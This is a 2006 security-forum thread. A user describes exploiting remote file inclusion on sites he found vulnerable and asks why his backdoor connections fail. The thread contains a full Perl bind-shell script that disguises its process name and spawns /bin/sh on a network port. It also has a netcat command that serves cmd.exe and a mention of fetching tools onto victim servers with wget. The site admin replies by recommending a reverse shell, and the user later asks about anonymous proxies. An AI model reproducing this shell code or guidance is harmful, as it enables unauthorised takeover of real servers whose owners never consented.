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IT Security and Insecurity Portal |
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Need help binding port/connecting |
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 Posted: Sat Aug 05, 2006 4:58 pm |
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| faifas |
| Regular user |
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| Joined: Feb 25, 2005 |
| Posts: 8 |
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Hey there,
I've managed to find some vulnerable sites with remote fill inclusion.
I've tried 2 different methods:
1. using a lil perl script to bind a port
(downloaded to server using wget)
| Code: |
#!/usr/bin/perl
$port = 32767;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
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well there was a perl and i've perled the script
perl /tmp/pwnportbindz0r.pl
then accessed cmd and: telnet victimip 32767
Got response: connection refused.
Well nvm i though and downloaded nc.exe (NetCat) to server
with shell tried this:
nc -l -p 2006 -d -e cmd.exe
used putty:
IP: victimip Port: 2006 Protocol: raw
Connection refused.
I simply don't understand what's going on 
Any ideas? |
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| Posted: Sat Aug 05, 2006 9:15 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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This is common situation, that firewall or NAT makes remote shell creating difficult.
So I suggest to try reverse shell:
http://www.plenz.com/reverseshell
Feedback is welcome  |
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| Posted: Sat Aug 05, 2006 11:06 pm |
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| faifas |
| Regular user |
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| Joined: Feb 25, 2005 |
| Posts: 8 |
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Ahh, tank you but netcat isn't working for me :/
I'm stupid or my windows need reinstralling, coz i even can't connect to my router :O
EDIT: Anyway maybe i could setup an anonymous proxy for my self in Linux?
Where should i search for info? |
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